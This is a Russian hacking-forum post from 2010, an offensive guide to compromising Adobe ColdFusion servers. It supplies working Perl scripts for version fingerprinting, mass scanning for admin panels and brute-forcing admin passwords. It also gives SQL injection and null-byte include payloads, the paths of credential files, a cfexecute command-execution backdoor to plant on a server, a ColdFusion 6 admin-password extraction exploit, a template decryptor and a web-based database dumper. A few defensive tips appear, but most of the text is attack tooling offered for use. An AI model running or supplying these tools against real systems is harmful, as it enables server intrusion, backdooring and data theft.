Старый 03.07.2010, 20:03   #1
Ded MustD!e
Banned
 
Регистрация: 01.07.2010
Сообщений: 162
По умолчанию ColdFusion Research

ColdFusion Research


Results 1 - 10 of about 1,170,000,000 for inurl:"index.cfm".

<Table_of_contents>

...[Introduction]
...[About]
...[Version]
...[CFML]
...[Database]
...[XSS]
...[SQL-Inj]
...[Include]
...[Admin]
...[CMD]
...[Bugs]
...[Encrypt/Decrypt]
...[Security]
...[SQL-Dumper]
...[Web-Shell]
...[MIME types Spoofing]

</Table_of_contents>

.::Introduction::.


В этой статье я постараюсь как можно подробнее описать особенности работы и взлома ColdFusion, о котором так мало известно. Скорее всего, это связано с тем, что платформа платная, и стоит она $1299 за Standard Edition и $7499 за Enterprise Edition. Ко всему прочему толкового материала на русском языке нет в принципе, а на английском "днём с огнем...". Хостингов тоже крайне мало, но тем не менее, раз люди используют, значит что-то в этом есть). Эта технология не стоит на месте, сайтов на ней появляется всё больше, так что простор для работы огромный. Для лучшего понимания материала, я буду проводить аналогии с PHP.

.::About::.

Как говорит нам Википедия ColdFusion это интерпретируемый скриптовый язык программирования, созданный для генерации HTML на веб-сервере и работы с базами данных. Верим ей на слово, но не до конца. Вобщем-то это полноценный сервер, при желании конечно можно установить Apache, IIS и иже с ними. Последняя версия на данный момент 9, которая вышла совсем недавно. Для локальной разработки ColdFusion бесплатен, скачиваем триальную версию с сайта Adobe и при установке выбираем Development version. Также можно получить его и нахаляву, заполнив форму и отправив скан студенческого билета. Во время инсталляции указываем пароль администратора и пароль от RDS. После установки висит на 8500 порту, заходим в админку, и система самостоятельно конфигурируется. Файлы имеют расширение .cfm, либо .cfc (coldfusion component) которые обычно инклудятся. Для разработки используется свой язык CFML (ColdFusion Markup Language), а также очень похожий на привычный для нас JavaScript - CFScript. Из приятных особенностей - очень подробный вывод информации об ошибке, раскрытия пути присутствуют повсеместно.

.::Version::.

Актуальных версий, под которые можно разрабатывать что-либо 5 штук:

ColdFusion 5
ColdFusion 6 (также называют просто ColdFusion MX)
ColdFusion MX 7
Adobe ColdFusion 8
Adobe ColdFusion 9

При этом последняя на сегодняшний день 9 версия еще ни разу мне не встретилась, не успели еще видимо обновиться, а 5 это вообще раритет, каких не сыскать, больше всего распространена 8 версия, поэтому упор в статье делается на именно неё.

Что касается определения версии, тут ничего нового придумывать не надо. Определяем по наличию\отсутствию файлов. Начнем с того, что по адресу http://site.com/CFIDE/administrator/index.cfm расположена форма авторизации в админку, на которой написано, какая именно версия CF тут используется, но чаще всего вход в админку из веба недоступен, либо фильтр по IP (подробнее об админке ниже). Второе место, куда стоит заглянуть это http://site.com/cfdocs/dochome.htm, там также написана версия, но этот файл многие удаляют. Если присутствует файл http://site.ru/CFIDE/multiservermoni...ess-policy.xml, то значит версия >=8 (на данный момент можно смело утверждать, что версия 8, т.к. 9 пока нигде нет). Только в 9 версии есть файлы:

/CFIDE/scripts/ajax/cfgrid.js.bak
/CFIDE/scripts/AIR/cfair.swc
/CFIDE/scripts/AIR/cfservices.swc

Только в 8 версии содержатся:

/CFIDE/scripts/ajax/ext/INCLUDE_ORDER.txt
/CFIDE/scripts/ajax/ext/LICENSE.txt
/CFIDE/scripts/ajax/ext/ext-core.js
/CFIDE/scripts/ajax/ext/ext-core-debug.js
/CFIDE/scripts/ajax/ext/build/debug-min.js

Только в 6:

/CFIDE/register.htm
/CFIDE/register_ja.htm

Начиная с 7 версии, присутствует файл /CFIDE/adminapi/customtags/resources/adminapi_ja.xml, при этом порядок тэгов в файле в 7 версии слегка отличается от 8 и 9. В 7:

<cfswitch expression="#ATTRIBUTES.id#">
<cfcase value="lic_dev">

В 8 и 9:

<cfswitch expression="#ATTRIBUTES.id#">
<cfcase value="invalidUser">

Вобщем-то если админка недоступна, а dochome.htm удален, то было бы нецелесообразно проверять все пути руками, поэтому я набросал скрипт, который определяет версию ColdFusion:

PHP код:
#!/usr/bin/perl -w

use LWP::UserAgent
use 
threads;
use 
threads::shared;

###########################################################################
$cf8 '/CFIDE/multiservermonitor-access-policy.xml';
$cf8_1 '/CFIDE/scripts/ajax/ext/INCLUDE_ORDER.txt';
$cf8_2 '/CFIDE/scripts/ajax/ext/LICENSE.txt';
$cf8_3 '/CFIDE/scripts/ajax/ext/ext-core.js';
$cf8_4 '/CFIDE/scripts/ajax/ext/ext-core-debug.js';
$cf8_5 '/CFIDE/scripts/ajax/ext/build/debug-min.js';
$cf8_6 '/CFIDE/adminapi/customtags/resources/adminapi_ja.xm';
###########################################################################
$cf9_1 '/CFIDE/scripts/ajax/cfgrid.js.bak';
$cf9_2 '/CFIDE/scripts/AIR/';
###########################################################################
$cf6_1 '/CFIDE/register.htm';
$cf6_2 '/CFIDE/register_ja.htm';
###########################################################################
$cfide         '/CFIDE/administrator/index.cfm';
$cfhome        '/cfdocs/dochome.htm';
###########################################################################
my $browser LWP::UserAgent->new();
$browser->agent(swa());
$browser->timeout(60);
###########################################################################
print "Enter site:";
$url = <STDIN>; chomp ($url);
print 
"\n";
###########################################################################
  
$request $browser->get("$url$cfide")->as_string;
  if (
$request =~ /Version6/){print "Found version 6: $url$cfide\n"; exit;}
  
elsif($request =~ /Version:7/){print "Found version 7: $url$cfide\n"; exit;}
  
elsif($request =~ /administrator\/index\.cfm/ && $request =~ /ColdFusion Administrator Login/){print "Found Version ColdFusion >= 8 (99% this version = 8): $url$cf8\n"; exit;}
  
$request $browser->get("$url$cfhome")->as_string;
  if (
$request =~ /ColdFusion MX 7/){print "Found version 7: $url$cfhome\n"; exit;}
  
elsif($request =~ /cf8docs/){print "Found version 8: $url$cfhome\n"; exit;}
  
$request $browser->get("$url$cf8_6")->as_string;
  if (
$request =~ /\~ 250/){print "Found version 8: $url$cf8_6\n"; exit;}
  
elsif($request =~ /cfprocessingdirective/){print "Found version 7: $url$cf8_6\n"; exit;}
  
$request $browser->get("$url$cf8")->as_string;
  if (
$request =~ /cross-domain-policy/ || $request =~ /403/){print "Found Version ColdFusion >= 8 (99% this version = 8): $url$cf8\n"; exit;}
  
$request $browser->get("$url$cf9_1")->as_string;
  if (
$request =~ /cfinitgrid/ || $request =~ /403/){print "Found version 9: $url$cf9_1\n"; exit;}
  
$request $browser->get("$url$cf9_2")->as_string;
  if (
$request =~ /cfair/ || $request =~ /403/ || $request =~ /Listing Denied/){print "Found version 9: $url$cf9_2\n"; exit;}
  
$request $browser->get("$url$cf8_1")->as_string;
  if (
$request =~ /Your include order should be/ || $request =~ /403/){print "Found version 8: $url$cf8_1\n"; exit;}
  
$request $browser->get("$url$cf8_2")->as_string;
  if (
$request =~ /JavaScript Library/ || $request =~ /403/){print "Found version 8: $url$cf8_2\n"; exit;}
  
$request $browser->get("$url$cf8_3")->as_string;
  if (
$request =~ /Ext JS Library/ || $request =~ /403/){print "Found version 8: $url$cf8_3\n"; exit; }
  
$request $browser->get("$url$cf8_4")->as_string;
  if (
$request =~ /Ext JS Library/ || $request =~ /403/){print "Found version 8: $url$cf8_4\n"; exit;}
  
$request $browser->get("$url$cf8_5")->as_string;
  if (
$request =~ /Ext JS Library/ || $request =~ /403/){print "Found version 8: $url$cf8_5\n"; exit;}
  
$request $browser->get("$url$cf6_1")->as_string;
  if (
$request =~ /Macromedia Product Registration/ || $request =~ /403/){print "Found version 6: $url$cf6_1\n"; exit;}
  
$request $browser->get("$url$cf6_2")->as_string;
  if (
$request =~ /www\.macromedia\.co\.jp/ || $request =~ /403/){print "Found version 6: $url$cf6_2\n"; exit;}  
  print 
"Version 7 OR UNKNOWN =(: $url";

###########################################################################
sub swa {
 
my @agents qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
 return 
$agents[rand(scalar @agents)];
}
########################################################################### 
От версии к версии Adobe всё больше связывает CF с остальными своими продуктами, в 9 версии поддерживается Adobe Air. При этом довольно оперативно выпускаются заплатки.

.::CFML::.

Вкратце расскажу про сам язык CFML. Как утверждают в Adobe, язык прост в освоении, так как похож на привычный многим HTML, но простота, как оказалось, вещь обманчивая. Вобщем-то когда только начинал на нём писать, впечатления были мягко сказать так себе=). Но когда поднабрался опыта, увидел, что всё далеко не так плохо, как казалось вначале. Для штамповки простых сайтов вполне подходит, при этом делается всё очень просто. Естественно, взаимная синхронизация с остальными продуктами Adobe, как нигде хорошо, реализована именно тут, Flex, Flash, а теперь еще и AIR. Также есть отдельный набор тегов для работы с Ajax и PDF. Но действительно сложные и стоящие вещи пишутся на Java, с которой тут тесная связь. Перед программистами CF+Java открывается куча возможностей. Несколько особенностей, которые нужно знать, чтобы потом врубаться в примеры по коду, представленные далее:

1) Все, что мы хотим получить в выводе, на странице обрамляется тегами <cfoutput></cfoutput>.
2) Переменные внутри них обрамляются знаками шарп с обеих сторон, например #MyVar#.
3) Переменные, которые передаются через адресную строку, в коде обозначаются как Url.VarName. Если в пхп мы пишем $_GET['id'], то тут это будет выглядеть как url.id, при этом наличие явного указания на то, что эта переменная должна передаваться через адресную строку необязательно, и нужно лишь для того, чтобы её имя потом случайно не повторилось с другой переменной, то есть у нас могут быть 2 разные переменные #id# и #url.id#. Это позволяет нам обращаться к любой переменной через адресную строку, жаль, что переопределить нельзя если говорить с точки зрения пхп - регистер глобалс тут off, но зато нулл-байт работает на ура.
4) Так как CFML похож на HTML большинство операторов тут требую закрытия, например <cfquery></cfquery>.

.::Database::.

Работа с БД заслуживает отдельного внимания. Начнем с того, что тут мы не увидим какого-либо подобия config.php, данные для подключения к базе мы указываем в админке. Пишем любое "Data Source Name", заполняем имя БД, тип, логин и пароль, а также разрешенные операторы, по умолчанию, разрешены все. При этом имя БД можно не указывать, если используем несколько, потом просто указать его непосредственно в коде.

Чаще всего вместе с CF используется Microsoft Access, реже SQL Server, скорее всего потому, что подавляющее число серверов работает под виндой. Это добавляет нам проблем, так как работать с Access не очень-то приятно, помимо него также используются Oracle и MySQL, но они к сожалению встречаются намного реже.

.::XSS::.

Что касается защиты от XSS, тут присутствует встроенная, хотя и мало чем помогающая. В разных версиях реализована по-разному, но суть работы одна и та же, вот пример из 9 версии, строчки из файла /lib/neo-security.xml:

PHP код:
...
<var 
name="CrossSiteScriptPatterns">
  <
struct type="coldfusion.server.ConfigMap">
    <var 
name="<\s*(object|embed|script|applet|meta)">
      <
string>
        <
InvalidTag
      
</string>
    </var>
  </
struct>
</var>
... 
Собственно от XSS это всё равно не спасает, один из вариант обхода я когда-то уже писал: <IMG SRC="javascript:alert('XSS');">

Теперь пройдемся по программным методам. Во-первых, это 2 абсолютно одинаковые по назначению функции, которые различаются только названиями и тем, что результат вывода второй функции обрамляется тегами <PRE></PRE>:

HTMLEditFormat(string [, version ])
HTMLCodeFormat(string [, version ])

Принимают 2 аргумента, строку и версию HTML(по дефолту 2.0), второй аргумент не обязателен. Функции заменяют символы <,>,&," на &lt; &gt;,&amp; и &quot; соответственно. Тут хотелось бы отметить, что одинарная кавычка не фильтруется.

Существуют также 2 бесплатных программных решения, для защиты от XSS и SQL-Inj - это компоненты Portcullis и cf_xssblock, которые все друг другу активно советуют на форуме Adobe.

.::SQL-Inj::.

Добрались до самого любимого и распространенного. Собственно ситуация тут следующая, либо никакой фильтрации нет вообще и можно делать, что угодно, либо наворочено столько, что хер обойдешь. Также ситуация осложняется распространением Access в связке с CF. В заметке Databases я уже описывал, как происходит подключение, теперь разберемся, как происходит запрос. Для этого используется тэг <cfquery></cfquery>. Допустим у нас есть таблица admin с колонками id,login,pass,name, на экран выводится колонка name:

PHP код:
<cfquery name="test" datasource="my_sql">
  
SELECT name FROM admin WHERE id=#url.id#
</cfquery>
<
cfoutput query="test">
  
#name#
</cfoutput
Здесь my_sql это имя Datasource которое я задал в админке вместе с параметрами подключения. Синтаксис вполне понятный, ситуация тоже. Отсутствие какой-либо фильтрации приводит к инъекции, в данном случае ?id=1+union+select+pass+from+admin--+. Вещь самая банальная, но встречается повсеместно.

Теперь собственно о том, как этого избежать. Многие используют функцию Val(string), которая преобразует строку string в число, Val(123'321) даст нам 123, Val(abc777) вернет 0. Поэтому конструкция #Val(url.id)# окажется неуязвимой. Это что касается числовых параметров. Универсальным методом защиты, который рекомендует Adobe является использование тега <cfqueryparam>.В нем в качестве параметров можно указать тип и максимальную длину параметра. На практике такой вид защиты встречается чаще всего. Синтаксис будет такой:

PHP код:
<cfquery name="test" datasource="my_sql">
  
SELECT name FROM admin WHERE id=<cfqueryparam value="#url.id#" CFSQLType="CF_SQL_INTEGER" maxLength="3">
</
cfquery>
<
cfoutput query="test">
  
#name#
</cfoutput
Если превысим количество символов вывалится исключение "value exceeds MAXLENGTH setting", если передадим данные другого типа, то увидим ошибку "Invalid data 1' for CFSQLTYPE CF_SQL_INTEGER". Вообще работа с БД организована таким образом, что накосячить можно только имея врожденную криворукость. Тем не менее бажных сайтов от этого меньше не становится.

Тут нам очень пригодится функция load_file()(и её аналоги в других СУБД), раскрытие полного пути к моменту реализации инъекции скорее всего уже будет, вспоминаем пути до файлов паролей из описания инклудов и читаем их. Также, не забываем про выполнение команд, где это возможно.

.::Include::.

Теперь разберемся с инклудами. К сожалению удаленный инклуд тут невозможен в принципе, поэтому довольствоваться придется только локальным. Для этого тут существуют две функции, это <cfmodule>, для подключения файлов с пользовательскими тегами (в силу этой особенности, нам она не подходит, так как почти всегда имеет статичный путь) и <cfinclude>. У неё существует единственный аргумент template, в котором указывается путь до подключаемого файла. В мануале хитро написано, что мы не можем подключить ни внешний URL, ни системный путь, выйдя при этом из веб-директории, но это не совсем так. Да, если мы подставим в template что-нибудь наподобии "С:\CFusionMX\1.txt", то вывалится ошибка "Синтаксическая ошибка в имени файла, имени папки или метке тома", но ведь никто не отменял "../../", поэтому можно спокойно перемещаться по текущему диску. Усложняется реализация инклуда наличием "ColdFusion Mappings", это раздел в панели администратора, где мы определяем пути при использовании <cfinclude> и <cfmodule> (что-то наподобии open_basedir), а также различные виды WAF(Web Application Firewall), которые встречаются всё чаще и чаще, впринцыпе это понятно, люди которые могут потратить столько денег на саму платформу, не скупятся и на WAF. Так что для наличия уязвимости необходимо стечение нескольких обстоятельств, от нас вообще никак не зависящих. Теперь ближе к коду:

PHP код:
<cfinclude template=#url.inc#> 
Этот код позволяет подключать файлы по схеме page.cfm?inc=1.cfm, код естественно бажный, можем инклудить всё что душе угодно. Слегка усложним задачу:

PHP код:
<cfinclude template="/Folder/#url.inc#.cfm"
На помощь приходит нулл-байт, page.cfm?inc=../pass.txt%00

Осталось определиться с тем, что мы будем инклудить, связка ColdFusion+Apache почти не встречается, и вряд ли вам повезет, стандартные логи самой CF для наших целей непригодны. Зато можно разжиться пассом к админке, при условии, что авторизация не закрыта. В зависимости от версии пассы хранятся по-разному. Помним, что все эти файлы находятся выше веб-директории. После инклуда скорее всего вывалится ошибка о том, что не определена та или иная переменная, но нам это не мешает, просто открываем исходный код, то, что мы проинклудили любовно отделено кучей пробелов от кода выводящего описание ошибки). Вот стандартные пути до файлов с паролями в разных версиях.

6 и 9 версии:

../lib/password.properties

7 и 8 версии:

../servers/admin/SERVER-INF/jrun-users.xml

Вот примеры того, как выглядят эти файлы:

password.properties, зашифрованы пароли "qwerty" для RDS и "admin" для админки:

Код:
#Wed Oct 28 00:45:18 MSK 2009
rdspassword=%<4OP6GD \n
password=%7\=<3DXD \n
encrypted=true
jrun-users.xml:

PHP код:
<!DOCTYPE jrun-users PUBLIC "-//Macromedia Inc.//DTD jrun-users 4.0//EN" "http://jrun.macromedia.com/dtds/jrun-users.dtd">
<
jrun-users>
  <
encryption>
    
false
  
</encryption>
  <
user>
    <
user-name>
      
admin
    
</user-name>
    <
password>
      
admin
    
</password>
  </
user>
  <
role>
    <
role-name>
      
jmcadmin
    
</role-name>
  <
user-name>
      
admin
  
</user-name>
  </
role>
  <
role>
    <
role-name>
      
admin
    
</role-name>
    <
user-name>
      
admin
    
</user-name>
  </
role>
  <
user>
    <
user-name>
      
anonymus-guest
    
</user-name>
    <
password/>
  </
user>
</
jrun-users
9 версия (password.properties), зашифрованы пароли "qwerty" для RDS и "admin" для админки:

Код:
#Thu Oct 22 04:15:42 MSD 2009
rdspassword=(>[\#U9\#./@LT \n
password=D033E22AE348AEB5660FC2140AEC35850C4DA997
encrypted=true
.::Admin::.

Админка здесь вещь замечательная, во-первых, через неё можно залить шелл и она есть везде, что, несомненно, является плюсом, но, к сожалению, доступ к авторизации открыт далеко не всегда. Располагается она по адресу /CFIDE/administrator/index.cfm, при этом чаще всего требуется ввести только пароль, логин нужно указывать, только если в системе более одного пользователя, в любом случае логин админа по умолчанию admin. Так как остается ввести только пароль, становится актуальным брут. Но перед тем как что-то брутить, неплохо было бы определиться, что именно. Для поиска админок я написал простенький скрипт, в файл site.txt кладем список сайтов, указываем количество потоков и запускаем, всё найденное пишется в файл good.txt.

PHP код:
#!/usr/bin/perl  -w

use LWP::UserAgent;
use 
HTTP::Cookies;
use 
threads;
use 
threads::shared;

########################################################
$|=1;
my $cfide         '/CFIDE/administrator/index.cfm';
my $h             'http://';
my $good shared 0;
my $bad  shared 0;
   
$threads        50# потоки
########################################################
open (PASS "<site.txt");
chomp (my @site shared = <PASS>);
close PASS;
########################################################
$size_site scalar @site;
print 
"      Loaded site: $size_site\n";
########################################################
my $browser LWP::UserAgent->new;
   
$browser -> timeout (10);
   
$browser->agent("User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.8;" $browser->agent);
     
########################################################
for(0..$threads-1) {$trl[$_] = threads->create(\&brut$_);}
for(@
trl)   { $_->join; }
########################################################
sub brut {

while (@
site){

 {
lock(@site);$url shift @site;}
 
$request $browser->get("$h$url$cfide")->as_string;
  if (
$request =~ /administrator\/index\.cfm/ && $request =~ /ColdFusion Administrator Login/){open (GOOD ">>good.txt");print GOOD "$h$url$cfide\n"$good++;} else {$bad++;}
  print 
"Good: $good Bad: $bad\r";
}
}
close GOOD;
 print 
"Good: $good Bad: $bad\n"

Последний раз редактировалось Ded MustD!e; 16.11.2010 в 22:56..
Ded MustD!e вне форума   Ответить с цитированием
Старый 03.07.2010, 20:09   #2
Ded MustD!e
Banned
 
Регистрация: 01.07.2010
Сообщений: 162
По умолчанию

Так как версии ColdFusion могут быть разные, то и брутер должен быть универсальным, нужно лишь указать версию. Словарик с паролями в файле pass.txt.

PHP код:
#!/usr/bin/perl  -w

use LWP::UserAgent;
use 
HTTP::Cookies;
use 
threads;
use 
threads::shared;

########################################################
$|=1;
my $good shared 0;
my $bad  shared 0;
########################################################
open (PASS "<pass.txt");
chomp (my @pass shared = <PASS>);
close PASS;
########################################################
print "          Threads  : ";
$threads = <STDIN>;chomp($threads);
print 
"             URL   : ";
$url = <STDIN>;chomp($url);
print 
"Mode (1 - 7,8,9 | 0 - 6): ";
$mode = <STDIN>;chomp($mode);
########################################################
my $browser LWP::UserAgent->new;
   
$browser -> timeout (10);
   
$browser->agent("User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.8;" $browser->agent);
     
########################################################
for(0..$threads-1) {$trl[$_] = threads->create(\&brut$_);}
for(@
trl)   { $_->join; }
########################################################
sub brut {

while (@
pass)
{
 {
lock(@pass);$password shift @pass;}
 
 if (
$mode){
 
$request $browser->get("$url")->as_string;
 
$request =~ /name="salt" type="hidden" value="(.*?)">/; $salt = $1;
 
$request =~ /name="requestedURL" type="hidden" value="(.+)">/; $reqURL = $1;
 
$data = [
                       
cfadminPassword => $password,
                       
requestedURL    => $reqURL,          
                       
salt            => $salt,                             
                       
submit          => 'Login'
         
];
 }
         
 
$data6 = [
                       
cfadminPassword => $password,
                       
requestedURL    => $reqURL,                                     
                       
submit          => 'Login'
          
];
          
 if (
$mode){$request $browser->post("$url",$data)->as_string;} else {$request $browser->post("$url",$data6)->as_string;}
 
unless($request =~ /Please try again/){open (GOOD ">>good.txt");print GOOD "$password\n";print "[+] Good pass: $password\n";$good++; die "The End ... Found Password\n";} else {$bad++;}      
 print 
"Good:$good Bad:$bad\r";
}
close GOOD;
}
 print 
"Good:$good Bad:$bad\n"
.::CMD::.

C выполнением команд здесь очень туго, существует только одна команда <cfexecute></cfexecute>, нужных нам аргументов тут 3, это "name" в котором мы указываем полный путь до программы, которую необходимо запустить, "arguments", где мы передаем аргументы и в "outputFile" указываем путь до файла, в который запишется результат выполнения. Из этого вытекает, что мы должны знать полный путь до cmd.exe. Пример кода:

PHP код:
<cfexecute name "C:\cmd.exe" arguments "/c dir" outputFile="C:\temp.txt"
</
cfexecute
Не забываем, что когда мы пишем команды не внутри оболочки, то перед её именем надо писать /c. Как видим, оставить бэкдор для нас довольно проблематично, но если всё-таки уверены, что админ вообще ничего не палит, то вставляем следущие строчки:

PHP код:
<cfif ParameterExists(url.cmd)>
  <
cfexecute name "C:\cmd.exe" arguments "/c #url.cmd#" outputFile="C:\temp.txt"
  </
cfexecute>
</
cfif
Здесь необходимо проверять на существование параметр url.cmd, если мы этого не сделаем, вылетит ошибка, что переменная cmd не определена. Юзаем так - "index.cfm?cmd=dir". При этом надо помнить, что записывать результат выполнения команды надо в папку доступную из веба, чтобы можно было посмотреть вывод. Можно выводить результат сразу на страницу, но для этого надо проинклудить outputFile, не забывая, что мы не можем начинать путь к файлу с буквы диска, поэтому если сохраняли куда-то выше веб-диры, то используем ../../, чтобы подняться выше, если сохраняли в ту же папку, где и сам код, то пишем вот так:

PHP код:
<cfif ParameterExists(url.mid)>
  <
cfexecute name "C:\cmd.exe" arguments "/c #url.mid#" outputFile="C:\CFusionMX\wwwroot\temp.txt">
  </
cfexecute>
  <
cfoutput>
    <
cfinclude template="temp.txt">
  </
cfoutput>
</
cfif
.::Bugs::.

Вобщем-то открытых серьезных багов в самой платформе на данный момент нет, последняя достойная бага - косяк с FCKeditor, который присутствует и в ColdFusion. Всё остальное - пассивные XSS. Однако есть один интересный эксплойт под 6 версию, который на выходе дает нам пароль от админки, естественно для этого мы должны предварительно загрузить его на сервер. Кстати, 6 версия попадалась мне чаще всего на .edu ресурсах.

PHP код:
<cfscript>

objFileWriter CreateObject("java","java.io.FileWriter");

objByteArray CreateObject("java","java.io.ByteArrayOutputStream");

objJavaC CreateObject("java","sun.tools.javac.Main");

objString CreateObject("java","java.lang.String");

objFile CreateObject("java","java.io.File");

if (
Server.Os.Name IS "Windows") { "\"; } else { s = "/"; }

strJavaSource = "
#Server.ColdFusion.Rootdir##s#lib#s#SecurityExploit.java"; 

strCfusionJar "#Server.ColdFusion.Rootdir##s#lib#s#cfusion.jar";

strNeoSecFile "#Server.ColdFusion.Rootdir##s#lib#s#neo-security.xml";

strPasswdFile "#Server.ColdFusion.Rootdir##s#lib#s#password.properties";

fileWriter objFileWriter.init("#strJavaSource#",false);

fileWriter.write("import coldfusion.security.SecurityManager;");

fileWriter.write("import java.io.File;");

fileWriter.write("public class SecurityExploit extends SecurityManager {");

fileWriter.write("public SecurityExploit(File arg0, File arg1) {");

fileWriter.write("super(arg0, arg1); }");

fileWriter.write("public boolean isAdminSecurityEnabled(){");

fileWriter.write("return false;}}");

fileWriter.flush();

fileWriter.close();

str objString.init("-classpath,#strCfusionJar#,#strJavaSource#");

strArr str.split(",");

byteArray objByteArray.init();

compileObj =objJavaC.init(byteArray,str);

compileObj.compile(strArr);

obj CreateObject("java","SecurityExploit");

file1 objFile.init("#strNeoSecFile#");

file2 objFile.init("#strPasswdFile#");

obj.init(file1,file2);

obj.load();

</
cfscript>

<
cfscript>

// Get Administrator Password 

strAdminPw obj.getAdminPassword();

// Set Administrator Password

//obj.setAdminPassword("test123");


// Turn off Sandbox Security

//obj.setSandboxSecurityEnabled(false);


// Turn off Administrator Login

//obj.setAdminSecurityEnabled(false);


// Turn off RDS Login

//obj.setRdsSecurityEnabled(false);


// Set RDS Password

//obj.setRdsPassword("test123");


// Turn off JVM Security

//obj.setJvmSecurityEnabled(false);

</cfscript>

<
cfoutput>Adminstrator Password#strAdminPw#</cfoutput> 
Глядя на код, чесались руки адаптировать его для новых версий, но к сожалению сделать этого не получится, так как теперь, чтобы вызвать Java компонент мы должны прописать путь к нему в админке.

.::Encrypt/Decrypt::.

В состав CF входит утилита cfencrypt для шифрования cfm файлов, находится она в папке bin в корне сервера. Даем на вход cfm файл и получаем на выходе закриптованый, пример:

C:\CF\bin>cfencrypt.exe input.cfm output.cfm /v 1

Здесь input.cfm имя входного файла, output.cfm имя закриптованного файла, параметр v обязательный, указывает версию используемого шифрования, всего их 2, второй вариант более громоздкий.

Естественно, было бы неплохо уметь расшифровывать такие файлы, для этого существует тулза cfdecrypt, которую написал какой-то чел и продает за 18 баксов, в аттаче скомпилированый exe, вот сорец на С:

PHP код:
#include <stdlib.h>
#include <stdio.h>
#include "des.h"

int main(int argcchar *argv[])
{
    
FILE *infile, *outfile;

    
char *header "Allaire Cold Fusion Template\012Header Size: ";
    
char buffer[54];
    
int headsizeoutlen;
    
int skip_header;
    
int leni;

    
char *keystr "Error: cannot open template file--\"%s\". Please, try again!\012\012";
    
des_cblock key;
    
des_cblock input
    
des_cblock output;
    
des_key_schedule schedule;

    switch (
argc)
    {
    case 
2:
        
outfile stdout;
        break;

    case 
3:
        if (!(
outfile fopen(argv[2], "wb")))
        {
            
fprintf(stderr"Error opening output file %s\n"argv[2]);
            return 
1;
        }
        break;

    default:
        
fprintf(stderr"Usage: cfdecrypt <encrypted template> [output file]\n");
        return 
1;
    }

    if (!(
infile fopen(argv[1], "rb")))
    {
        
fprintf(stderr"Error opening input file %s\n"argv[1]);
        return 
1;
    }

    if ((
fread(buffer154infile) < 54) || (memcmp(bufferheader42)))
    {
        
fprintf(stderr"File is not an encrypted template\n");
        return 
1;
    }

    if (!
memcmp(&buffer[42], "New Version"11))
    {
        
headsize 69;
        
skip_header 1;
    }
    else
    {
        
headsize atoi(&buffer[42]);
        
skip_header 0;
    }

    if ((
headsize 54) || (fseek(infileheadsizeSEEK_SET) < 0))
    {
        
fprintf(stderr"Error in file format\n");
        return 
1;
    }

    
des_string_to_key(keystr, &key);
    
des_set_key(&keyschedule);
    
outlen 0;

    while ((
len fread(input18infile)) == 8)
    {
        
des_ecb_encrypt(&input, &outputschedule0);
        
outlen += 8;
        
0;

        if (
skip_header)
        {
            while (
8)
            {
                if (
output[i++] == 0x1A)
                {
                    
skip_header 0;
                    break;
                }
            }
        }

        
fwrite(output i1ioutfile);
    }

    for (
0leni++)
    {
        
output[i] = input[i] ^ (outlen i);
    }

    
fwrite(output1lenoutfile);

    
fclose(outfile);
    
fclose(infile);
    return 
0;

Пользоваться прогой так:

C:\>cfdecrypt.exe input.cfm output.cfm

Если не укажем output.cfm, то результат дешифровки выведется в консоль.

.::Security::.

В админке в разделе Security существует принеприятнейший пункт Sandbox Security. Название "песочница" хорошо отражает суть, тут администратор может ограничить доступ к любым мелочам в CF. Выбираем директорию, для которой будем ограничивать права, и нажимаем Add. В настройках у нас 6 пунктов: Data Sources, CF Tags, CF Functions, Files/Dirs, Server/Ports, Others. В пунктах Data Sources, CF Tags, CF Functions у нас два поля Enabled и Disabled, по умолчанию всё находится в списке Enabled, выбираем мышкой нужные пункты и переносим в соседний список, запрещать можно как подключение как к каким-то БД скриптам из этой папки, так и выполнение любого тега, любой функции. В Files/Dirs можно установить права на любую папку, выбор прав у нас стандартный: Read,Write,Execute,Delete. На вкладке Server/Ports можно ограничить IP адреса, с которыми устанавливается связь командами <cfmail>, <cfpop>, <cfldap> и <cfhttp>. В Others отключаются права на подгрузку библиотек, создание классов и т.д. Как видим, грамотно настроенная песочница сильно портит нам жизнь, радует лишь то, что по дефолту Sandbox Security выключен.

.::SQL-Dumper::.

Начиная с 8 версии в CFML появился замечательный тег <cfdbinfo> в качестве аргументов передаем ему Data Source Name и тип данных которые хотим получить (dbnames, tables, columns). DSN, как я писал выше, устанавливается в админке в разделе "Data & Services" -> "Data Sources". Смотрим его там, либо в любом скрипте, где происходит обращение к БД. Имея под рукой такой инструмент, грех было не написать дампер БД. Вбиваем в форму DSN и нажимаем кнопку "Dump", программа сдампит содержимое всех баз данных, даже если в админке заполнено поле "Database", и сожмет их в архив. В результате работы программы в текущей директории появится файл data.zip, внутри структурированный XML файл со всем содержимым.

PHP код:
<form name="MyForm" method="POST">
<
input type="text" name="DSN">
<
input type="submit" name="submit" value="submit">
</
form>

<
cfif IsDefined('form.FieldNames')>
    <
cfset data StructNew()>
    <
cfset vihod structNew()>
    <
cfset zfile expandPath("./data.zip")>
    
    <
cfdbinfo datasource="#form.DSN#" name="dbs" type="dbnames">
    
    <
cfloop query="dbs">
        <
cfset data[DATABASE_NAME] = dbs.DATABASE_NAME>
    </
cfloop>
    <
cfset KeyArray StructKeyArray(data)>
    <
cfloop index="i" from="1" to="#ArrayLen(KeyArray)#">
        <
cfdbinfo datasource="#form.DSN#" name="tables" type="tables" dbname="#data[KeyArray[i]]#">
            <
cfloop query="tables">
                <
cfquery name="getData" datasource="#form.DSN#">
                    
select from #data[KeyArray[i]]#.#table_name#
                
</cfquery>
            <
cfset vihod[table_name] = getData>
            </
cfloop>
    </
cfloop>
    
    <
cfwddx action="cfml2wddx" input="#vihod#" output="packet">

    <
cfzip action="zip" file="#zfile#" overwrite="true">
        <
cfzipparam content="#packet#" entrypath="data.xml">
    </
cfzip>
    <
cfoutput>Complete!</cfoutput
</
cfif
Собственно, у программы существует 2 серьезных недостатка, во-первых, работает только с версиями >=8. А во-вторых, была замечена нехорошая особенность при обработке нулевых значений типа "data" в MySQL. Если в результате запроса встречается дата 0000-00-00, то ColdFusion вылетает с ошибкой "Value '0000-00-00' can not be represented as java.sql.Date". Позже напишу об этом в Adobe, пускай исправляют =).

